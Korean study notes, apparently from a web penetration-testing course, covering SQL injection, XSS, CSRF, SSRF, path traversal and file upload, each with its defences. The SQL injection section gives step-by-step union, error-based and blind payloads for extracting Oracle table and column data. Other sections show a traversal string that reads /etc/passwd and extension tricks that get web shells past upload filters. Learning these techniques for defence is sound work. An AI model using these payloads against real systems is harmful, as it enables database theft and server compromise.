취약점 진단 vs 모의해킹
체크리스트 vs 취약점 진단 + 그래서 뭐? 어떻게되는데? 공격해봐
양호 / 취약 vs 시큐어코딩 + 인프라, 라이브러리 업데이트
진단 가이드 vs 구글링, 창의력 고민
진단 기준 vs 공격하는 방식
공격방식
XSS : 남의 인증정보 탈취 그사람으로 로그인
CSRF : 실제로 남한테 공격시켜서 내 권한상승
요청 = Request
응답 = Response
클라이언트 요청 -> www.naver.com
DNS Query -> IP 획득
IP -> 접속 -> 내부 서버의 포트
웹서버 : 이메일 -> 요청을 받아서 클라이언트가 뭘 달라고하는건지 파악
WAS : 전달받은 내용 -> 내가 뭘처리를해야겠다
이사람의 이메일 함을 조회 -> Database
DB -> 00인사람의 메일 데이터 꺼내줘
DB : 데이터를 쭉 긁어서 WAS
WAS : 데이터 정제 -> 화면 -> 웹서버
웹서버 : 클라이언트 -> 응답
클라이언트(크롬) : 응답을 해석을 해서 화면을 꾸며주고 필요한 파일, 이미지 ... 또 요청
클라이언트 측 언어 -> Front-end
서버측 언어 -> Back-end
1) Web Server = 웹 서버
정적인 페이지
사용자의 입력값을 처리 X
설정
2) Web Application Server = WAS
사용자의 입력값=파라미터
있을 때 저걸가지고 뭔가 처리하는 로직이 필요한 경우
비즈니스 서비스에대한 로직
DB 계산 결제 ...
Java + Oracle
PHP + MySQL
(Linux) + Apache + PHP + Mysql
ASP + MSSQL -> Window Server IIS
이미 예전에 개발을 해놨는데
다시 갈아엎지 못해서 그냥 쓰는 사이트들
Well-known Port
22 SSH
80 HTTP
443 HTTPS
REST Api
게시판 글쓰기
GET test.com/board/write?board=qna
글수정
GET test.com/board/edit?board=qna&postid=글번호
글삭제
GET test.com/board/delete?board=qna&postid=글번호
API 명세
일반인이 서버에서 영향을 끼칠 수 없으면
글쓰기
PUT test.com/board/qna/
글수정
MODIFY test.com/board/qna/2
글삭제
DELETE test.com/board/qna/2
취약한 HTTP Method 사용 취약점 항목 :
GET, POST를 제외하고
권한 검증이 제대로 되어있고
사용 목적이 명확한 메소드 이외의
메소드가 허용/사용을 하면 취약
WevDAV : 웹 어플리케이션 상에서 개발 하기 편하려고 만들어진 기능
파라미터 변조
Request에 파라미터를 바꾸기
-> 서버에서 처리를 하고나서 결과가
Response에 파라미터를 바꾸기
-> Javascript
파라미터 변조 공격 Case
1. URL 유추 -> 직접 접근
2. 파라미터 유추 -> 파라미터 변조
3. 숫자(금액)
Integer Overflow -> 엄청 큰 숫자
Int -> -21억 ~ +21억
Javascript 실행
1번 <!script>
2번 이벤트핸들러
3번 외부js
서버에 요청을 보내 전! 브라우저에서
1. form 전송할때 실행
2. button을 클릭할때 실행
3. <!script>안에서 document. .. 지정해서 실행
4. 바깥에 있는 js실행
: 쿼리문이 작동할 때 사용자가 입력한 문자열(파라미터)이 쿼리문으로 작동하는 것
ex) select * from 테이블 where 컬럼 = " ㅣ ㅏ ㅓ ㅣ ㅣ ㅏ ㅓ '
공격하면?
1. DB가 털림 -> 개인정보 유출
2. 해시화 되어있는 비밀번호 -> 크래킹 -> 계정정보를 이용 -> 로그인 -> 나쁜짓 ~
3. SQL Injection을 통해 서버에 원격 명령 실행, 임의 파일 업로드 . . .
==> DB에 있는 정보를 꺼낼 수 있다.
테이터베이스 : 통합문서 1
테이블 : sheet1, sheet2 . . .
열 = 컬럼 = Column name
행 = 로우 = Row name
= 전체
select 컬럼명 form 테이블명 where 조건 order by 컬럼명(컬럼번호)
jsp = oracle
php = mariadb
asp = mssql
중요한것!
쿼리문을 유추
공격 포인트를 찾기
-- 취약점진단
실제 공격구문 작성해서 공격
-- 모의해킹
: 가장 쉽고 가장 많은 데이터를 한번에 뽑아낼 수 있음
but 제약사항이 많음 = 컬럼의 개수, 컬럼의 자료형 맞춰여함
공격포인트 찾기
컬럼의 개수 알아내기
2-1. 정렬기능
select * from friends where name like '%멍멍%' order by 숫자
: 숫자가 5인데 오류가 난다면? 컬럼이 4개 인거임~~
2-2. null select null form dual에서 에러가 안날때까지 null을 추가
테이블명 알아내기
select * from all_tables; / 모든 테이블 호출(모든 db
select table_name from user_tables; / 유저의 모든 테이블 호출 (오라클만
5.테이블의 컬럼명 알아내기
select column_name from all_tab_columns where table_name = "탈취한테이블명'
테이블명과 칼럼명을 알아내면 union 사용가능 !
union select 컬럼1, 컬럼2, 컬럼3 from 테이블
쿼리문 유추
select 칼럼들 ~ from 주소 where 읍/면/동 like '%[검색어]%'
공격할라면 : select 칼럼들 ~ from 주소 where 읍/면/동 like '%검색어%' union [공격쿼리] and/where 'g%'='g%'
select ~ where union select ~ where : 둘의 결과를 같이 보여줌
검색어빈칸 : 검색어%' union [공격쿼리] and/where 'g%'='g
공격 포인트
2-1) 삼성동을 쳤을때 에러가 안나니 문자열이라고 추측
쿼리문 : where 읍/면/동 like '%삼성동%' and 't%'='t%'
검색어 빈칸 : 삼성동%' [ ] where 'a%'='a
'a%'='a 은 의미 없는 구문
where이 있으면 and
그냥은 where
where 조건~
주석
--,/* / VS #,--,/ */
DB정보
테이블 : all_tables, user_tables VS information_schema.tables
컬럼 : all_tab_columns, user_tab_cilumns, cols VS information_schema.columns
계정 : OWNER VS table_schema
: 에러를 유발 시켜서 에러 메시지에서 원하는 데이터를 탈취
서브 쿼리 : 하나의 테이블로 만들어서 다시 사용하는 거
서브쿼리로 나온 결과 테이블은 원래 테이블과 별개
컬럼명이바뀌었을때 바권걸로 써여함
쿼리문 유추
select * from friends where name like '%[검색어]%'
검색어 : 야옹%' and 1=CTXSYS.DRITHSX.SN(user,[공격쿼리]) and 'o%'='o
공격 포인트 찾기
에러 유발 공격
3-1) 에러메시지
3-2) 호출 시 쿼리 결과가 어디에 나오는지 확인
3-3) 쿼리결과가 어디에 나오는지
테이블 찾기
4-1) 테이블의 개수
select table_name from user_tables 인데 카운트를 붙여야행
select count(table_name) from user_tables
4-2) 테이블명 1 row 씩
select table_name from user_tables
select table_name,rownum from user_tables
select table_name,rownum as lino from user_tables
select table_name from (select table_name,rownum as linno from user_tables) where lino=1~count
컬럼찾기
5-1) 해당 테이블의 컬럼의 개수
select column_nmae from user_tab_columns where table_name = '탈취할 테이블 ' 에서 카운트
select count(column_name) from user_tab_columns where table_name = '탈취할테이블'
5-2) 컬럼명 1 row 1개씩
select column_name from user_tab_columns where table_name = '탈취할테이블'
(select column_name from (select column_name, rownum as ln from user_tab_columns where table_name = '탈취할테이블') where ln = 1~count)
데이터 탈취
6-1) 탈취할 테이블의 데이터 개수
select 컬럼 from 테이블
select count(컬럼) from 테이블
6-2) 데이터를 1row 씩개씩
select 컬럼 from (select 컬럼, rownum as line from 테이블) where line = 1~count
: 유니온 x 에러 x 내가 입력한 쿼리문이 작동되는 거 같을때!
Union SQL Injection n개의 column, n개의 row
Error-based SQL Injection 1개의 column, 1개의 row
Blind SQL Injection 1개의 column, 1개의 row, 1개의 글자씩
문자열 쪼개기 함수 : sunstring(문자열,시작,끝) // sunstr()
아스키코드 함수 : ascii()
유추할때 숫자가 문자형인지 숫자형인지 판단
61+1 -> url decoding
61%2b1
62-1=61 인지 확인
맞으면 숫자형 아니면 문자형이라 '62-1'이 댐
근본적인 대응방안 : 쿼리문 수정
내가 입력하는 값(파라미터, 요청에 전달되는 모든 값)이 쿼리문에 사용 될 때 무조건
문자열(데이터)로 삽입이 되도록 개발
1)
2) prepared statement 방식
나온 이유 : DB 성능
컬럼과 테이블을 고정시켜서 여기에는 바인딩이 안되고
Whitelist Filtering : 사용자 입력값에 대한 제한
Blacklist Filtering -> Blocklist Filtering : 못쓰게할거 지정
Time-based Blind SQL Injection
select * from 테이블 where 이름 like '%멍%' and [공격쿼리] and (시간을 많이 잡아먹는 쿼리) and 'q%'='q%'
이라몬 db가 뻣어요
(시간을 많이 잡아먹는 쿼리)
듀아~!
세션 : 서버에 저장하는 정보
쿠키 : 브라우저에 저장하는 정보
세션id : 세션을 구별하기 위한 id(이름)
세션id = 로그인을 마친 인증값
최소한의 인증 : ip -> but 한계가 있음
쿠키값 탈취를 못하게
cookie:PHPSESSION=asdf; HttpOnly
Reflected XSS
요청->서버->응답->스크립트가 사용자 브라우저
Stored XSS
요청->서버->DB
DB->서버->사용자 브라우저 스크립트
Dom XSS = 국내에서 잘 안씀
copy클립보드
주소
공격에 필요한 문자들을 전부다 HTML Entitiy Replace -> HTML 인코딩
! 어디에서 할지 ㅋ
1) 저장 시
+ 장점 : 저장할 때부터 공격구문 실행이 되지 않게 저장
+ 단점 : 데이터 무결성
2) 조회 시
+ 장점 : 무결성이 보장
+ 단점 : 사용자가 DB 내용을 조회할수 있는 '모든메뉴'에서 치환
공격 포인트
공격 유형
Javascript 함수 호출
1) 태그와 태그 사이
2) 태그 안에 입력값이 들어갈 때
3) 이미 스크립트 태그 안에 입력값이 들어갈 때
공격포인트
keyword에서 먼저 키워드를 넣어보고 test1 test2 test3 이렇게 넣고
특수문자 넣어보고
특수문자가 치환이 안되고 나온다 > 공격 포인트
Reflected
: n번의 공격으로 한번이 걸림 = 사용자 과실
Stored
: 한번의 공격으로 여러번의 공격이 옴
공격 스크립트 -> 입력 -> 저장
조회 -> 실행
CSRF
취약점 : 서버에 있는 해당기능이 검증절차없이 요청만 보내면 실행시켜주는거
대응 : 서버에서 해당 기능이 요청만 날리면 실행되지 않게 검증처리를 해야한다
+ GET방식 -> POST 방식 BUT 의미 나이
+ XSS을 막음 BUT 스크립트 안되도 공격이 데키루
+ Referer 체크
#### 근본적인 대응
+ 2차인증
+ Captcha
+ **CSRF Token(가장많이)** :
### SSRF
#### 근본적인 대응
1. 주소를 받지 않기
2. 사용자 입력값 검증 = filtering
### 파일다운로드 취약점 = / Path Traversal
1. 다운로드 기능
2. 파일 경로/파일명 입력값(파라미터)
진단 : 파일다운로드 기능 x -> 양호
* ../ *
../ : 되돌아 가기 기능
/var/www/html/download/../../../../etc/passwd
=
/etc/passwd
#### 대응방안
1. 파일경로를 받으면 안된다 -> db를 파서 파일 정보를 저장
필터링 : ../
### 파일 업로드
! 공격
: 올리면 안되는 파일이 올라가는 경우에 취약
1.
2. 다운로드 받는 기능을 통해서 직접 접근할 수 있는 경로를 유추
3.
4. 악성코드(웹셸) 업로드
#### 근본적인 대응방안
1. 확장자를 저장안하면 된다
- DB를 만들어서
2. 직접 경로를 안보여주면 된다 + 접근할수 없는 경로를 업로드 경로로 설정
#### 우회 방법
1. 대소문자 바꾸기
2. .ASP;jpg // 옛날윈도우 서버
3. .php%00.jpg